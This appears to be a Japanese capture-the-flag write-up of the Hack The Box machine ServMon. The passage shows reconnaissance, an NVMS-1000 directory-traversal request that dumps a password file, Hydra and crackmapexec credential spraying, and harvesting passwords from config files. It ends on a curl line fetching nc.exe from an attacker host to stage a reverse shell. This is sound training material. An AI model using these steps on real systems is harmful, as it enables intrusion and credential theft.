Hack The Box: ServMonのwriteup。
標的IPアドレスをブラウザで表示したところ、NVMS-1000 (ネットワークビデオ監視ツール)の管理画面へのログインページが現れた。
http://10.129.227.77/Pages/login.htm
以下は、nmapのスキャン結果。
└─$ nmap -Pn -A $RHOST -oG general-portscan.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-29 07:53 EST
Nmap scan report for 10.129.227.77
Host is up (0.42s latency).
Not shown: 980 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_02-28-22 06:35PM <DIR> Users
22/tcp open ssh OpenSSH for_Windows_8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 c7:1a:f6:81:ca:17:78:d0:27:db:cd:46:2a:09:2b:54 (RSA)
| 256 3e:63:ef:3b:6e:3e:4a:90:f3:4c:02:e9:40:67:2e:42 (ECDSA)
|_ 256 5a:48:c8:cd:39:78:21:29:ef:fb:ae:82:1d:03:ad:af (ED25519)
80/tcp open http
|_http-title: Site doesn't have a title (text/html).
| fingerprint-strings:
| GetRequest, HTTPOptions, RTSPRequest:
| HTTP/1.1 200 OK
| Content-type: text/html
| Content-Length: 340
| Connection: close
| AuthInfo:
| <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
| <html xmlns="http://www.w3.org/1999/xhtml">
| <head>
| <title></title>
| <script type="text/javascript">
| window.location.href = "Pages/login.htm";
| </script>
| </head>
| <body>
| </body>
| </html>
| NULL:
| HTTP/1.1 408 Request Timeout
| Content-type: text/html
| Content-Length: 0
| Connection: close
|_ AuthInfo:
81/tcp filtered hosts2-ns
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
1234/tcp filtered hotline
3006/tcp filtered deslogind
4443/tcp filtered pharos
5051/tcp filtered ida-agent
5666/tcp open tcpwrapped
6007/tcp filtered X11:7
6699/tcp open napster?
7512/tcp filtered unknown
7777/tcp filtered cbt
8443/tcp open ssl/https-alt
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2020-01-14T13:24:20
|_Not valid after: 2021-01-13T13:24:20
|_ssl-date: TLS randomness does not represent time
| fingerprint-strings:
| FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions:
| HTTP/1.1 404
| Content-Length: 18
| Document not found
| GetRequest:
| HTTP/1.1 302
| Content-Length: 0
| Location: /index.html
| iday
| :Saturday
| workers
|_ jobs
| http-title: NSClient++
|_Requested resource was /index.html
9091/tcp filtered xmltec-xmlmail
9618/tcp filtered condor
32769/tcp filtered filenet-rpc
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.94SVN%I=7%D=12/29%Time=677147E4%P=x86_64-pc-linux-gnu%r(
SF:NULL,6B,"HTTP/1\.1\x20408\x20Request\x20Timeout\r\nContent-type:\x20tex
SF:t/html\r\nContent-Length:\x200\r\nConnection:\x20close\r\nAuthInfo:\x20
SF:\r\n\r\n")%r(GetRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x2
SF:0text/html\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInf
SF:o:\x20\r\n\r\n\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\
SF:x20XHTML\x201\.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtm
SF:l1/DTD/xhtml1-transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.
SF:w3\.org/1999/xhtml\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\
SF:x20\x20\x20\x20<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20
SF:\x20\x20\x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\
SF:n\x20\x20\x20\x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r
SF:\n")%r(HTTPOptions,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text
SF:/html\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x2
SF:0\r\n\r\n\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XH
SF:TML\x201\.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DT
SF:D/xhtml1-transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.o
SF:rg/1999/xhtml\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\x
SF:20\x20\x20<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20\
SF:x20\x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20
SF:\x20\x20\x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n")%
SF:r(RTSPRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/html
SF:\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n
SF:\r\n\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XHTML\x
SF:201\.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DTD/xht
SF:ml1-transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.org/19
SF:99/xhtml\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\x20\x2
SF:0\x20<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20\x20\x
SF:20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20\
SF:x20\x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8443-TCP:V=7.94SVN%T=SSL%I=7%D=12/29%Time=677147F1%P=x86_64-pc-linu
SF:x-gnu%r(GetRequest,74,"HTTP/1\.1\x20302\r\nContent-Length:\x200\r\nLoca
SF:tion:\x20/index\.html\r\n\r\n\0\0\0\0\0\0\0\0\0\0iday\0\0\0\0:Saturday\
SF:0\0\x12\x02\x18\0\x1aC\n\x07workers\x12\n\n\x04jobs\x12\x02\x18@\x12\x0
SF:f")%r(HTTPOptions,36,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\n
SF:Document\x20not\x20found")%r(FourOhFourRequest,36,"HTTP/1\.1\x20404\r\n
SF:Content-Length:\x2018\r\n\r\nDocument\x20not\x20found")%r(RTSPRequest,3
SF:6,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocument\x20not\x20
SF:found")%r(SIPOptions,36,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\
SF:r\nDocument\x20not\x20found");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-12-29T13:02:45
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 578.85 seconds
80番ポート以外にも、いくつか興味深いポートが開いていた。
スキャン結果より、どうやら21番ポート (FTP)にanonymous:anonymous
として接続できる模様。さっそく接続してみた。
└─$ ftp $RHOST
Connected to 10.129.227.77.
220 Microsoft FTP Service
Name (10.129.227.77:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||49678|)
150 Opening ASCII mode data connection.
02-28-22 06:35PM <DIR> Users
226 Transfer complete.
ftp> cd Users
250 CWD command successful.
ftp> ls
229 Entering Extended Passive Mode (|||49679|)
125 Data connection already open; Transfer starting.
02-28-22 06:36PM <DIR> Nadine
02-28-22 06:37PM <DIR> Nathan
226 Transfer complete.
Users
フォルダの中にNadine
とNathan
というフォルダを発見。
Nadine
フォルダの中にConfidential.txt
というファイルがあったので、ダウンロード。
ftp> cd Nadine
250 CWD command successful.
ftp> ls
229 Entering Extended Passive Mode (|||49680|)
150 Opening ASCII mode data connection.
02-28-22 06:36PM 168 Confidential.txt
226 Transfer complete.
ftp> type Confidential.txt
Confidential.txt: unknown mode.
ftp> get Confidential.txt
local: Confidential.txt remote: Confidential.txt
229 Entering Extended Passive Mode (|||49681|)
125 Data connection already open; Transfer starting.
100% |**********************************************************************************************************************************************************************| 168 0.21 KiB/s 00:00 ETA
226 Transfer complete.
WARNING! 6 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
168 bytes received in 00:01 (0.16 KiB/s)
Nathan
フォルダの中にはNotes to do.txt
というファイルがあり、こちらもダウンロード。
ftp> cd ../Nathan
250 CWD command successful.
ftp> ls
229 Entering Extended Passive Mode (|||49682|)
125 Data connection already open; Transfer starting.
02-28-22 06:36PM 182 Notes to do.txt
226 Transfer complete.
ftp> get "Notes to do.txt"
local: Notes to do.txt remote: Notes to do.txt
229 Entering Extended Passive Mode (|||49683|)
125 Data connection already open; Transfer starting.
100% |**********************************************************************************************************************************************************************| 182 0.36 KiB/s 00:00 ETA
226 Transfer complete.
WARNING! 4 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
182 bytes received in 00:00 (0.24 KiB/s)
以下はConfidential.txt
の内容。
└─$ cat Confidential.txt
Nathan,
I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder.
Regards
Nadine
以下はNotes to do.txt
の内容。
└─$ cat 'Notes to do.txt'
1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint
Confidential.txt
によると、パスワードが記載されたPasswords.txt
というファイルがユーザーNathan
のデスクトップに配置されているらしい。
このファイルにアクセスするには、先述したNVMS-1000の脆弱性を利用する。
NVMS-1000にはディレクトリトラバーサルの脆弱性があり、PoCも公開されている。
PoCはsearchsploitで確認できる。
└─$ searchsploit NVMS
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
NVMS 1000 - Directory Traversal | hardware/webapps/47774.txt
OpenVms 5.3/6.2/7.x - UCX POP Server Arbitrary File Modification | multiple/local/21856.txt
OpenVms 8.3 Finger Service - Stack Buffer Overflow | multiple/dos/32193.txt
TVT NVMS 1000 - Directory Traversal | hardware/webapps/48311.py
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
└─$ searchsploit -m hardware/webapps/47774.txt
Exploit: NVMS 1000 - Directory Traversal
URL: https://www.exploit-db.com/exploits/47774
Path: /usr/share/exploitdb/exploits/hardware/webapps/47774.txt
Codes: N/A
Verified: False
File Type: Unicode text, UTF-8 text
Copied to: /home/kali/HTB/Dedicated-Labs/owasp10-windows/ServMon/47774.txt
└─$ cat 47774.txt
# Title: NVMS-1000 - Directory Traversal
# Date: 2019-12-12
# Author: Numan Türle
# Vendor Homepage: http://en.tvt.net.cn/
# Version : N/A
# Software Link : http://en.tvt.net.cn/products/188.html
POC
---------
GET /../../../../../../../../../../../../windows/win.ini HTTP/1.1
Host: 12.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Response
---------
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
以下のcurlコマンドでC:\Users\Nathan\Desktop\Passwords.txt
にアクセスできた。
curl -i "http://$RHOST/%20%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2FUsers%2FNathan%2FDesktop%2FPasswords%2Etxt"
## URL decodes to:
http://$RHOST/ ../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt
└─$ curl -i "http://$RHOST/%20%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2FUsers%2FNathan%2FDesktop%2FPasswords%2Etxt"
HTTP/1.1 200 OK
Content-type: text/plain
Content-Length: 156
Connection: close
AuthInfo:
1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$
パスワードを複数発見。
nmapのスキャン結果より、22番ポート (SSH)と445番ポート (SMB)が開いていたので、入手したユーザー名とパスワードを総当たりして、SSHもしくはSMBを介してログインできるか試してみた。
└─$ cat users.txt
Nathan
Nadine
└─$ cat pass.txt
1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$
└─$ hydra -L users.txt -P pass.txt ssh://$RHOST -V -f
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-29 08:36:10
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 14 tasks per 1 server, overall 14 tasks, 14 login tries (l:2/p:7), ~1 try per task
[DATA] attacking ssh://10.129.227.77:22/
[ATTEMPT] target 10.129.227.77 - login "Nathan" - pass "1nsp3ctTh3Way2Mars!" - 1 of 14 [child 0] (0/0)
[ATTEMPT] target 10.129.227.77 - login "Nathan" - pass "Th3r34r3To0M4nyTrait0r5!" - 2 of 14 [child 1] (0/0)
[ATTEMPT] target 10.129.227.77 - login "Nathan" - pass "B3WithM30r4ga1n5tMe" - 3 of 14 [child 2] (0/0)
[ATTEMPT] target 10.129.227.77 - login "Nathan" - pass "L1k3B1gBut7s@W0rk" - 4 of 14 [child 3] (0/0)
[ATTEMPT] target 10.129.227.77 - login "Nathan" - pass "0nly7h3y0unGWi11F0l10w" - 5 of 14 [child 4] (0/0)
[ATTEMPT] target 10.129.227.77 - login "Nathan" - pass "IfH3s4b0Utg0t0H1sH0me" - 6 of 14 [child 5] (0/0)
[ATTEMPT] target 10.129.227.77 - login "Nathan" - pass "Gr4etN3w5w17hMySk1Pa5$" - 7 of 14 [child 6] (0/0)
[ATTEMPT] target 10.129.227.77 - login "Nadine" - pass "1nsp3ctTh3Way2Mars!" - 8 of 14 [child 7] (0/0)
[ATTEMPT] target 10.129.227.77 - login "Nadine" - pass "Th3r34r3To0M4nyTrait0r5!" - 9 of 14 [child 8] (0/0)
[ATTEMPT] target 10.129.227.77 - login "Nadine" - pass "B3WithM30r4ga1n5tMe" - 10 of 14 [child 9] (0/0)
[ATTEMPT] target 10.129.227.77 - login "Nadine" - pass "L1k3B1gBut7s@W0rk" - 11 of 14 [child 10] (0/0)
[ATTEMPT] target 10.129.227.77 - login "Nadine" - pass "0nly7h3y0unGWi11F0l10w" - 12 of 14 [child 11] (0/0)
[ATTEMPT] target 10.129.227.77 - login "Nadine" - pass "IfH3s4b0Utg0t0H1sH0me" - 13 of 14 [child 12] (0/0)
[ATTEMPT] target 10.129.227.77 - login "Nadine" - pass "Gr4etN3w5w17hMySk1Pa5$" - 14 of 14 [child 13] (0/0)
[REDO-ATTEMPT] target 10.129.227.77 - login "Nathan" - pass "Gr4etN3w5w17hMySk1Pa5$" - 15 of 15 [child 12] (1/1)
[22][ssh] host: 10.129.227.77 login: Nadine password: L1k3B1gBut7s@W0rk
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-29 08:36:18
└─$ crackmapexec smb $RHOST -u 'users.txt' -p 'pass.txt' --continue-on-success
SMB 10.129.227.77 445 SERVMON [*] Windows 10 / Server 2019 Build 17763 x64 (name:SERVMON) (domain:ServMon) (signing:False) (SMBv1:False)
SMB 10.129.227.77 445 SERVMON [-] ServMon\Nathan:1nsp3ctTh3Way2Mars! STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [-] ServMon\Nathan:Th3r34r3To0M4nyTrait0r5! STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [-] ServMon\Nathan:B3WithM30r4ga1n5tMe STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [-] ServMon\Nathan:L1k3B1gBut7s@W0rk STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [-] ServMon\Nathan:0nly7h3y0unGWi11F0l10w STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [-] ServMon\Nathan:IfH3s4b0Utg0t0H1sH0me STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [-] ServMon\Nathan:Gr4etN3w5w17hMySk1Pa5$ STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [-] ServMon\Nadine:1nsp3ctTh3Way2Mars! STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [-] ServMon\Nadine:Th3r34r3To0M4nyTrait0r5! STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [-] ServMon\Nadine:B3WithM30r4ga1n5tMe STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [+] ServMon\Nadine:L1k3B1gBut7s@W0rk
SMB 10.129.227.77 445 SERVMON [-] ServMon\Nadine:0nly7h3y0unGWi11F0l10w STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [-] ServMon\Nadine:IfH3s4b0Utg0t0H1sH0me STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [-] ServMon\Nadine:Gr4etN3w5w17hMySk1Pa5$ STATUS_LOGON_FAILURE
結果、Nadine:L1k3B1gBut7s@W0rk
の組み合わせで、SSHとSMBの両方を介して標的マシンにアクセスできることが分かった。
標的マシンにSSHで接続し、一般ユーザーのフラグC:\Users\Nadine\Desktop\user.txt
を発見した。
ssh Nadine@$RHOST
Microsoft Windows [Version 10.0.17763.864]
(c) 2018 Microsoft Corporation. All rights reserved.
nadine@SERVMON C:\Users\Nadine>whoami
servmon\nadine
nadine@SERVMON C:\Users\Nadine>cd Desktop
nadine@SERVMON C:\Users\Nadine\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is 20C1-47A1
Directory of C:\Users\Nadine\Desktop
02/28/2022 07:05 PM <DIR> .
02/28/2022 07:05 PM <DIR> ..
12/29/2024 04:53 AM 34 user.txt
1 File(s) 34 bytes
2 Dir(s) 6,123,347,968 bytes free
一般ユーザーのフラグを入手するところまでは、すんなり行けたのだが、権限昇格に手間取ってしまった。以下、試行錯誤した内容とともに記す。
まず、一通り標的マシンを列挙してみたが、権限昇格への突破口は見つからなかった。(ただし、権限の問題でWindowsサービスの列挙はできなかった。)
なので、アプリケーションの設定ファイル等から、認証情報を窃取する方向へと切り替えてみた。
まずはNVMS-1000のインストール先がどこかを確認。
PS C:\Windows> Get-ChildItem -Path C:\ -Include *nvms* -File -Recurse -ErrorAction SilentlyContinue
Directory: C:\Program Files\NVMS-1000
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/1/2017 4:10 PM 14126080 NVMS-1000.exe
-a---- 11/1/2016 5:12 PM 17542 NVMS-1000.ico
どうやらC:\Program Files\NVMS-1000
にNVMS-1000の関連ファイルがある模様。
以下はC:\Program Files\NVMS-1000
の内容。
nadine@SERVMON C:\ProgramData\NVMS-1000>dir /a
Volume in drive C has no label.
Volume Serial Number is 20C1-47A1
Directory of C:\ProgramData\NVMS-1000
02/28/2022 06:46 PM <DIR> .
02/28/2022 06:46 PM <DIR> ..
09/06/2016 02:37 PM 2,048 AbnormalLog.db3
02/27/2022 04:07 AM 3,608 AppBasicCfg.ini
09/06/2016 02:43 PM 22 Config.ini
01/18/2020 10:34 AM 11,675 NVMS-1000.ini
02/27/2022 04:03 AM 6,144 SysLog.db3
02/27/2022 04:03 AM 0 SysLog.db3-journal
01/18/2020 10:34 AM 70,656 SystemDb.db3
01/18/2020 10:34 AM 0 SystemDb.db3-journal
09/06/2016 02:37 PM 22,528 SystemDb_ForEmap.db3
02/28/2022 06:46 PM <DIR> TemMapFile
9 File(s) 116,681 bytes
3 Dir(s) 6,101,032,960 bytes free
C:\Program Files\NVMS-1000
の内容物をローカルにダウンロードして、ひとつずつ確認してみることにした。ダウンロードにはscpを利用。
└─$ scp -r Nadine@$RHOST:/c:/programdata/nvms-1000/ $(pwd)
Nadine@10.129.227.77's password:
AbnormalLog.db3 100% 2048 2.0KB/s 00:01
AppBasicCfg.ini 100% 3608 4.4KB/s 00:00
Config.ini 100% 22 0.0KB/s 00:00
NVMS-1000.ini 100% 11KB 11.4KB/s 00:01
SysLog.db3 100% 6144 6.0KB/s 00:01
SystemDb.db3 100% 69KB 34.8KB/s 00:01
SystemDb_ForEmap.db3 100% 22KB 22.0KB/s 00:01
結果、SQLiteのデータベースファイルSystemDb.db3
のT_RES_USER_INFO
テーブルの中から、Daniel
というユーザー名と2x6SsGTxjRwXOT
というパスワードを発見した。
└─$ sqlite3 SystemDb.db3
SQLite version 3.46.0 2024-05-23 13:25:27
Enter ".help" for usage hints.
sqlite> .headers on
sqlite> .tables
T_BR_LOGIC T_RES_IP_CHANNEL_INFO
T_BR_PHYSICS T_RES_SCHEDULE_TIME_SECTION_INFO
T_BR_PHYSICS_REC_SCHEDULE T_RES_SCHEDULT_INFO
T_RES_ALARM_IN_INFO T_RES_SERVER_INFO
T_RES_ALARM_OUT_INFO T_RES_STORAGE_MEDIA_GROUP_INFO
T_RES_ALARM_TRIGGER_INFO T_RES_USER_INFO
T_RES_AREA_INFO T_RES_USER_RIGHT_INFO
T_RES_CHANNEL_INFO T_TR_PHYSICS
T_RES_DEVICE_INFO T_VERSION_INFO
sqlite> select * from T_RES_USER_INFO;
Node_ID|Node_Name|Node_PWD|Node_UserLevel|Node_Type|Node_LimitedMAC|Node_EMail|Node_TEL|Node_Description|Node_IsLimitedMAC|Node_EnableRight|Node_Locked|Node_PRI|Node_MUX|Node_ID_UserGroup
{E639A5EE-34B5-4CE7-A451-00C7DDB6E73D}|Daniel|2x6SsGTxjRwXOT|4|1|00:00:00:00:00:00||||0|0|0|0|0|{00000000-0000-0000-0000-000000000000}
Daniel:2x6SsGTxjRwXOT
で、NVMS-1000の管理ページhttp://10.129.227.77/Pages/login.htm
へログインすることが出来たが、こちらから権限昇格することはできなかった。
また、Daniel:2x6SsGTxjRwXOT
では標的マシンへSSHおよびSMB接続することはできなかった。
改めてnmapのスキャン結果を眺めてみたところ、5666番ポートが目についた。
5666/tcp open tcpwrapped
ググってみると、どうやらNagios (PC・ネットワーク監視アプリケーション)関連のポートらしい。さらに検索を続けると、NSClient++ (Nagiosのクライアントのようなもの)と関連が深いらしいことが分かった。
(あと、記事を書いているときに気づいたのだが、先述したNotes to do.txt
の中に2) Lock down the NSClient Access - Complete
というヒントがあった。)
NSClient++がインストールされているか確認してみたところ、C:\Program Files\NSClient++
というディレクトリを発見した。以下はディレクトリの内容。
nadine@SERVMON C:\Program Files\NSClient++>dir
Volume in drive C has no label.
Volume Serial Number is 20C1-47A1
Directory of C:\Program Files\NSClient++
02/28/2022 06:55 PM <DIR> .
02/28/2022 06:55 PM <DIR> ..
12/09/2015 12:17 AM 28,672 boost_chrono-vc110-mt-1_58.dll
12/09/2015 12:17 AM 50,688 boost_date_time-vc110-mt-1_58.dll
12/09/2015 12:17 AM 117,760 boost_filesystem-vc110-mt-1_58.dll
12/09/2015 12:22 AM 439,296 boost_program_options-vc110-mt-1_58.dll
12/09/2015 12:23 AM 256,000 boost_python-vc110-mt-1_58.dll
12/09/2015 12:17 AM 765,952 boost_regex-vc110-mt-1_58.dll
12/09/2015 12:16 AM 19,456 boost_system-vc110-mt-1_58.dll
12/09/2015 12:18 AM 102,400 boost_thread-vc110-mt-1_58.dll
01/14/2020 01:24 PM 51 boot.ini
01/18/2018 03:51 PM 157,453 changelog.txt
01/28/2018 10:33 PM 1,210,392 check_nrpe.exe
12/31/2024 05:28 AM <DIR> crash-dumps
11/05/2017 09:09 PM 318,464 Google.ProtocolBuffers.dll
12/08/2015 11:16 PM 1,655,808 libeay32.dll
11/05/2017 10:04 PM 18,351 license.txt
10/05/2017 06:19 AM 203,264 lua.dll
02/28/2022 06:55 PM <DIR> modules
04/10/2020 05:32 PM 2,683 nsclient.ini
12/31/2024 05:28 AM 40,563 nsclient.log
11/05/2017 09:42 PM 55,808 NSCP.Core.dll
01/28/2018 10:32 PM 4,765,208 nscp.exe
11/05/2017 09:42 PM 483,328 NSCP.Protobuf.dll
11/19/2017 04:18 PM 534,016 nscp_json_pb.dll
11/19/2017 03:55 PM 2,090,496 nscp_lua_pb.dll
01/23/2018 08:57 PM 507,904 nscp_mongoose.dll
11/19/2017 03:49 PM 2,658,304 nscp_protobuf.dll
11/05/2017 10:04 PM 3,921 old-settings.map
01/28/2018 10:21 PM 1,973,760 plugin_api.dll
05/23/2015 07:44 AM 3,017,216 python27.dll
09/27/2015 02:42 PM 28,923,515 python27.zip
01/28/2018 10:34 PM 384,536 reporter.exe
02/28/2022 06:55 PM <DIR> scripts
02/28/2022 06:55 PM <DIR> security
12/08/2015 11:16 PM 348,160 ssleay32.dll
05/23/2015 07:44 AM 689,664 unicodedata.pyd
02/28/2022 06:55 PM <DIR> web
11/05/2017 09:20 PM 1,273,856 where_filter.dll
05/23/2015 07:44 AM 47,616 _socket.pyd
33 File(s) 53,144,561 bytes
7 Dir(s) 6,117,613,568 bytes free
上記のファイル群のうち、nsclient.ini
よりew2x6SsGTxjRwXOT
というパスワードを発見した。
PS C:\Program Files\NSClient++> type nsclient.ini
# If you want to fill this file with all available options run the following command:
# nscp settings --generate --add-defaults --load-all
# If you want to activate a module and bring in all its options use:
# nscp settings --activate-module <MODULE NAME> --add-defaults
# For details run: nscp settings --help
; in flight - TODO
[/settings/default]
; Undocumented key
password = ew2x6SsGTxjRwXOT
; Undocumented key
allowed hosts = 127.0.0.1
; in flight - TODO
[/settings/NRPE/server]
-- snipped --
また、crash-dumps
フォルダの中のテキストファイルより、NSClient++のバージョンは0.5.2.35と判明した。
PS C:\Program Files\NSClient++\crash-dumps> type 1e36f3e8-b2d6-49b5-82d5-8cdb923a536b.dmp.txt
application=NSClient++
build-version=0.5.2.35
build-date=2018-01-28
当バージョンには権限昇格の脆弱性や遠隔コード実行の脆弱性があるらしい。
権限昇格の脆弱性を試すことにした。
脆弱性の内容だが、NSClient++のWebサーバー機能が有効化されていた場合、一般ユーザーでも設定ファイル (nsclient.ini
)から管理者ユーザーの平文パスワードを入手可能で、入手したパスワードで管理者としてNSClient++の管理ページにログインして、各種設定を変更できるというもの。
攻撃の手順は以下の通り。
- リバースシェルを標的マシンに仕込む。
- 仕込んだリバースシェルを呼び出すためのバッチファイルを作成し、標的マシンにアップロードする。
- NSClient++の管理ページにログインし、バッチファイルを実行するスケジュールを作成。
- スケジュールが実行されると、標的マシンとのシェルが成立する。
nmapのスキャン結果より、NSClient++の管理ページは8443番ポートにホストされていることが分かった。
8443/tcp open ssl/https-alt
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2020-01-14T13:24:20
|_Not valid after: 2021-01-13T13:24:20
|_ssl-date: TLS randomness does not represent time
| fingerprint-strings:
| FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions:
| HTTP/1.1 404
| Content-Length: 18
| Document not found
| GetRequest:
| HTTP/1.1 302
| Content-Length: 0
| Location: /index.html
| iday
| :Saturday
| workers
|_ jobs
| http-title: NSClient++
|_Requested resource was /index.html
が、管理ページ https://10.129.227.77:8443/index.html
にアクセスはできたものの、ページ内のタブ等をクリックしても、ページがきちんと表示されなかった。
HTB側のインフラの問題かと思いフォーラムを覗いてみたところ、これは仕様とのことで、チャレンジの一環らしい。
もう一度nsclient.ini
を確認してみたところ、以下の設定が目についた。
; Undocumented key
allowed hosts = 127.0.0.1
恐らくだが、上記の設定は標的マシンのループバックアドレス127.0.0.1
の8443番ポートにアクセスした場合のみ、NSClient++の管理ページへのアクセスを許可する、というものだと思われる。なので、外部向けのIP 10.129.227.77
の8443番ポートにアクセスしてもダメなのだろう。
このような場合はポート転送で解決できる。
攻撃マシンにて、以下のSSHコマンドを実行して、標的マシンとSSHトンネル (SSH Local Port Forwarding)を張る。
ssh -N -L 127.0.0.1:8443:127.0.0.1:8443 nadine@$RHOST
すると、攻撃マシンの127.0.0.1:8443
宛の通信は標的マシン (10.129.227.77
)の127.0.0.1:8443
へ転送される。
上記のSSHトンネルを張ったことにより、NSClient++の管理ページにログインできた。
で、こちらの手順を参考に、管理ページからリバースシェルを実行するためのスケジュールを登録しようとしたのだが、どのフィールドに何を書けば良いのかよく分からなくて断念した。
結局、NSClient++のAPIを利用することにした。
まず、標的マシンにSSH接続して、Netcatを仕込む。
curl http://10.10.16.174/nc.exe -o "C:\users\nadine\nc.exe"
